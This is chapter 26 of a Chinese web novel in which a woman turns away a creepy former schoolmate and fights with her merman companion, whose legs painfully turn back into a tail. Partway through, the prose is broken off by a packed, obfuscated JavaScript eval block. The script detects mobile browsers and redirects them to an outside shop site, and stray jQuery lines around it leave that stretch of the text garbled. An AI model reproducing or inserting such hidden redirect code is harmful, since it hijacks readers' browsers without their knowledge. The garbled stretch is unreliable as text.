26. 双腿

作品:《养鱼[人外]

    游溶的大学生活很平静,甚至有些无趣。


    不在学校住,和舍友关系也淡淡的。


    有一次,她碰巧在宿舍,几个舍友拉住她八卦,主角就是席志诚。


    她们说,席志诚大学期间,谈过很多个女朋友,期间多次断崖式分手,无缝衔接......


    李琪学姐应该是他遇见游溶时的女朋友。


    往后有很多学姐学妹前仆后继,碰巧,蒋学姐,是游溶研究生时期的学姐。


    游溶不知道,这人为什么这么想谈恋爱,大学四年连空窗期都没有吧,真是精力十足。


    现在这个时候还要暗示她......


    席志诚脸色有一瞬的僵硬,在细细雨幕里,脸尤为阴沉。


    四肢诡异的浮起一层鸡皮疙瘩,游溶抱着手臂,极为不经意地后退一步。


    席志诚好半晌才反应过来游溶口中的“蒋学姐”是哪一任女朋友。


    “你认识小雪?真巧。”


    “我和她分手了,她很好......”


    游溶诧异挑眉,心里觉得怪异,“雪"和“溶”的读音没有一点相似,但这个“小雪”好像就是在叫她。


    就好像,在席志诚眼里,两人没有区别。


    客观上名字读音的区别也被他相似的读法模糊掉了。


    她重新打量这个人,席志诚想好之后开始解释,游溶锁定他看起来毫无破绽的眼睛……


    口中说着之前最亲密的人的名字,但眼眸深处是冷漠……像看玩具被玩腻之后,居高临下的弃如敝履。


    不管是大学时期还是现在,温文尔雅的学长一直让她不适。


    现在好似更加危险。


    游溶决定远离。


    鱼刚回来,下车就往家的方向跑,一看到游溶在小路边等他,立马喜滋滋开口喊她,但很快,视线中就出现了碍眼的贱人!


    “主人~”


    “……姐姐!快回家!”


    鱼拉着游溶的手臂,嘴上碎碎念:“下雨了下雨了,快回家快回家快回家......”


    念着念着就把人拉走了,把席志诚甩在身后,连看都没看他一眼。


    游溶由着他,趁着雨没下大,一人一鱼回到温馨的家里。


    身后,席志诚脸上的温和消失得一干二净,面上是令人胆寒的阴翳。


    目送他们的背影消失在转角,良久,席志诚勾唇笑了笑。


    “拒绝我?什么东西。”


    狰狞的脸上满是轻蔑不屑。


    —


    “快起床了。”


    游溶拉扯被子,想把跟被子缝在一起的鱼拉出来。


    “再不起来,就要迟到了。”


    鱼死死压着身下的被子,不愿意起来。


    “主人~我们不去了好不好?”


    他气愤喊道:“那些人类就是故意的,坏人!不把我们分到一起!”


    游溶拉不动了,他跟一头猪一样,压根拉不动。


    一连几次,两个人都被分开了。


    鱼已经好几次自己一个人了,虽说他偷偷从边嘉玉那里学到很多东西,但天天见不到主人也用不出来啊。


    鱼在被子底下撅嘴。


    晚上的抚摸真的变成“暖肚子”,主人还是不爱摸他!


    不能再这样!


    今天他们在家的话,他要亲主人!


    不是简单的贴贴,要伸舌头的。


    鱼心里想着,快速爬了起来,趁着游溶收拾东西,进了卫生间仔仔细细洗漱。


    洗干净的鱼借机抱住游溶的和胳膊,把人拽回床上,一人一鱼又躺回床上。


    他在游溶耳边悄咪咪说着:“主人,你看,我们也不缺食物,为什么要去受他们的气嘛!那些人可坏了。”


    游溶躺在他身上,有些硌,挣扎着想起来,结果被他翻了个身,连人带被子,被他死死搂在怀里。


    “主人~~”


    游溶有些无奈。


    有句话鱼还就是说对了,那些人就是故意的,好几次,鱼都跟她分开。


    其他小队里被抽调的人都轮了全部的人,但他们这个小队,全是鱼被调走。


    看着天花板,游溶开口:“那不去了。”


    “好诶~”鱼也没想到这次主人答应得这么爽快,难道是——他真学到东西了?主人是不是更爱他了......


    鱼激动,支起身子想亲游溶。


    游溶无情推开。


    “哼哼哼~”


    躺在温软的被窝里,游溶考虑到不能两个人都不去。


    两个都不去太扎眼了,没有进账还能正常吃喝......她怕有人盯上他们。


    “好了,快起来,去吃饭了。”


    “......吃完早饭,我出发,你就家里做点其他事,做什么呢......”


    游溶怕他无聊,想着要给他布置一些任务。


    “喏!”


    游溶刚坐起来,又被他扑到床上,压得严严实实。


    背后抵着床面,游溶一阵头晕目眩。


    她气不过,伸手拍打鱼的背:“你给我起来!”


    鱼先正面压着重重抱了一会,半跪半坐起来,膝盖抵着床,苦着脸,望着游溶眼泪先掉了下来。


    “主人不许走!”


    “我要主人陪我,不要又丢下我一只鱼!”


    他边流泪边无声用着幽怨的眸光扫向游溶。


    “你是不是不喜欢我了。”


    游溶动不了,梨花带雨的鱼很会勾起人的怜惜,“...没有,只是总不能两个都不去吧。”


    “一天给很多物资。”


    她勉强掏出一只手,摸着鱼的左大腿安慰。


    “一天很快就过去了,晚上一直陪你好不好?”


    “宝宝乖嘛~”


    游溶一直很会哄他。


    但态度上还是很坚决,一直不松口。


    游溶已经催他起来了,游满难以置信地擦掉自己的眼泪,眼泪这次没用了。


    他不知道为什么非要和他分开,本来他们就有吃的。


    他小心翼翼往游溶腰腹上坐,不管不顾地捉住游溶冒出来的手,重新塞回被子里。


    鱼低下头,自顾自开口:“不要,主人今天要和我呆家里。”


    “主人饿了?”


    “那我去做饭,不要动,我会喂主人的。”


    说完就起身,但用被子把游溶裹得严严实实的,好像真以为裹好了游溶就不走了。


    游溶躺着,像一只蝉蛹。


    鱼想到自己小时候,它还是一条只有小孩手臂长的人鱼,小小的主人把他用襁褓裹起来,念念碎碎:“宝宝乖,我要去上学了,晚上就回来了。”


    “不要下地哦,尾巴会疼的。”


    “你乖乖的,晚上给你带肉肉回来。”


    游溶皱眉,语气严肃:“宝宝。”


    “不可以。”


    “可以的。”


    之前都可以,为什么现在不可以。


    主人喜欢上学,喜欢出门,不喜欢和他呆一起吗?


    游溶直接坐了起来,把被子掀开,站了起来,不看鱼,也不理他。


    她背上包,打算直接出门。


    “主人!你坏!”


    “.......”


    门刚打开。


    “呜呜呜...”<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17364621|198875||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>是强压的,带着痛苦的呜咽声。


    游溶听过鱼的很多哭声,有装模做样、夸张的,也有真的难过让人心疼的的。


    但她从没让他真的痛苦着哭过。


    这个哭声有点像分化那天他痛得不行的呜咽声,模糊的,细碎的,非人的低喘,好像能把她的哭碎了。


    游溶扶着门把手的手有一瞬间的僵硬,手腕不小心磕到冷冰的门把手,她捂着手腕转头。


    看到的一幕让她面色惨白。


    鱼瘫坐在床边,地毯上被他身上的水浸湿了,一大片深色,雪白纤细的双腿在粘合......腿上冒出深蓝的鳞片,血色被鱼尾上的深蓝衬托得无比刺目。


    他咬着手臂,太阳穴青筋暴起,被咬出血痕的手臂堵不住的他痛苦的呻吟......


    游溶几乎是扑着来到他的身边,小心地撑住摇摇欲坠的身体。


    “...宝宝,怎么了!”声音带着哭腔,扶着他的手臂都在抖。


    “...你走开!哼!”鱼泄愤般轻轻拍开游溶的手,自己靠着床,别过头不去理她。


    但眼睛却偷摸往游溶的方向瞟,好像在观察她的反应。


    腿部的疼痛如蛆入骨,骨头被虫子钻裂开......鱼的额角留下冷汗,唇瓣越发苍白。


    “你不是要走吗?我才不用你管!”


    游溶没反应,鱼有些急了,怕自己说得太过。


    他急匆匆补充:“反正你也不喜欢我了,让一只鱼自己死在这里,你也不用嫌我烦......”


    “......没有不喜欢你。”


    游溶快心疼死了,一直看着他血肉模糊的双腿,酸涩的眼睛在流泪。


    “疼不疼?怎么样宝宝才不疼?”


    鱼眼睛亮了亮,但还是冷淡的询问,“主人不走了?”


    “不走。”


    游溶能怎么走,边哭边走,一看不见他就忍不住想她压根承受不了的后果。


    “那喜不喜欢我?”


    “呼,呼...最喜欢你了。”一直张嘴吸气才能勉强说得出话。


    鱼这才满意,忍着痛偏着身子,抱住游溶的肩膀。


    美滋滋靠在她肩膀,仰头望见游溶发红的眼眶,还有晶莹的泪珠。


    他愣住了。


    “...主人别哭,泡海水就不疼了。”


    游满更难受了,他不想看到主人的眼泪。


    那双包含泪水的眼睛好似在控诉他,心上的钝痛好像比双腿上的痛更甚。


    游溶咬紧牙关把鱼抱起来,手臂过于用力而导致僵直,稳稳朝卫生间去,把鱼放下,抖着手给浴缸放水。


    一天供两个小时水,水龙头流出的水又小又慢,任由游溶拧到底也依旧一股小细流,浴缸还没灌满,水就停了。


    游溶冲出去,在柜子里翻找,抖着手把装着储物珍珠的玻璃瓶拿到,手忙脚乱从里面找出储水的珠子。


    水勉强被灌满。


    把已经痛得闭上双眼,气息微弱的鱼放进去。


    水从浴缸里溢出来,从地面上溅开,减到游溶脚上。


    鱼又皱起了眉头。


    不对,海水!


    眼泪像是雨珠一样落下,游溶脑子涨涨的。


    鱼之前没有腿的时候都是泡的池子,她花大价钱给弄来了海水,还有一套非常贵的维护系统。


    现在因为没电,池子很久没有清理,早被放空了。


    游溶蹲下身,捂着嘴无声哭,肩膀一直在颤抖。


    没过一会,她站了起来,跌跌撞撞拿起玻璃瓶,找到几颗蓝色的珍珠,这种珍珠闻起来有一股海腥味。


    一下往里丢了好几颗。